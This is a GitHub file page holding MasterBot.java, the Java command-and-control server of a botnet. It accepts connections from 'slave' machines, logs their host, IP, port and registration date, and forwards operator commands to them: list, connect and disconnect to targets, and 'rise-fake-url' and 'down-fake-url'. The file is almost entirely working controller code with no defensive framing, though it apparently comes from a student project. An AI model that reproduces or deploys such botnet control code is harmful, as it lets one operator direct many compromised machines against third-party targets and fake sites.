-
Notifications
You must be signed in to change notification settings - Fork 0
/
MasterBot.java
235 lines (195 loc) · 5.18 KB
/
MasterBot.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
import java.io.IOException;
import java.io.PrintStream;
import java.net.*;
import java.text.*;
import java.util.*;
import java.util.Map.Entry;
public class MasterBot extends Thread{
/*
* Constructor for MasterBot
*/
private ServerSocket master_bot = null;
private static Map<Socket, String> map_socket_details = new HashMap<Socket, String>();
public MasterBot(int portNum) throws Exception {
// TODO Auto-generated constructor stub
master_bot = new ServerSocket(portNum);
//System.out.println("master_bot:"+master_bot.getLocalPort());
}
public static void main(String[] args) throws Exception
{
int master_port = 0;
/*
* If the option if -p, then enter the if condition to get the port number
*/
if (args[0].equals("p"))
{
//Getting the port number of the MasterBot
master_port = Integer.parseInt(args[1]);
}
else
{
//Invalid argument is passing
System.exit(-1);
}
/*
* Creating the instance of the MasterBlock
*/
Thread m_bot= new MasterBot(master_port);
/*
* Starting the thread
*/
m_bot.start();
while(true)
{
/*
* Getting the option to be executed from the user
*/
String Input_option = null;
Scanner in = new Scanner(System.in);
System.out.print(">");
try
{
Input_option = in.nextLine();
}
catch (NoSuchElementException e) {
// TODO: handle exception
// Do nothing
}
/*
* Splitting the values into array of string
*/
String[] user_options;
try
{
user_options = Input_option.split("\\s+");
}
catch(NullPointerException np)
{
System.out.println("The program is exited from the user!!!!!");
return;
}
/*
* Options available for the user
*/
String option_list = "list";
String option_connect = "connect";
String option_disconnect = "disconnect";
String option_rise_url = "rise-fake-url";
String option_down_url = "down-fake-url";
if (user_options[0].equals(option_list))
{
/*
* If the option is list
*/
for(Entry<Socket, String> entry: map_socket_details.entrySet())
{
System.out.println(entry.getValue());
}
}
else if (user_options[0].equals(option_connect))
{
/*
* for connect option
*/
PrintStream ps;
if (user_options[1].equals("all"))
{
for(Entry<Socket, String> entry: map_socket_details.entrySet())
{
Socket slv_soc = entry.getKey();
ps = new PrintStream(slv_soc.getOutputStream());
ps.println(Input_option);
}
}
else
{
for(Entry<Socket, String> entry: map_socket_details.entrySet())
{
Socket slv_soc = entry.getKey();
String s1 = entry.getValue();
if(s1.contains(user_options[1]))
{
ps = new PrintStream(slv_soc.getOutputStream());
ps.println(Input_option);
}
}
}// end of else
}
else if(user_options[0].equals(option_disconnect))
{
PrintStream ps;
if (user_options[1].equals("all"))
{
for(Entry<Socket, String> entry: map_socket_details.entrySet())
{
Socket slv_soc = entry.getKey();
ps = new PrintStream(slv_soc.getOutputStream());
ps.println(Input_option);
}
}
else
{
for(Entry<Socket, String> entry: map_socket_details.entrySet())
{
Socket slv_soc = entry.getKey();
String s1 = entry.getValue();
if(s1.contains(user_options[1]))
{
ps = new PrintStream(slv_soc.getOutputStream());
ps.println(Input_option);
}
}
}// end of else
}
else if (user_options[0].equals(option_rise_url) || user_options[0].equals(option_down_url))
{
PrintStream ps;
for(Entry<Socket, String> entry: map_socket_details.entrySet())
{
Socket slv_soc = entry.getKey();
ps = new PrintStream(slv_soc.getOutputStream());
ps.println(Input_option);
}
}
else
{
/*
* Invalid Option
*/
System.exit(-1);
}
}//while(true)
}//End of main function
public void run()
{
try {
while(true)
{
Socket slave_soc = master_bot.accept();
/*
* getting the IP Address, Port Number and the Registration date of the slave socket
*/
String slave_port = ""+slave_soc.getPort();
/*
* Getting the port number and the Hostname of the slave socket
*/
InetAddress slave_Inet_address = slave_soc.getInetAddress();
String slave_Ip_address = slave_Inet_address.toString();
//String slave_host_name = slave_Inet_address.getHostName();
String slave_host_name = (java.net.InetAddress.getLocalHost()).toString();
/*
* Getting the date in the required format
*/
DateFormat df = new SimpleDateFormat("yyyy-MM-dd");
//Date date = new Date();
String date_string = df.format(Calendar.getInstance().getTime());
//Making hash of socket and socket details
String array_entry = slave_host_name + " " + slave_Ip_address + " "+ slave_port +" "+ date_string;
map_socket_details.put(slave_soc, array_entry);
}
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}// End of run()
}// End of the MasterBot class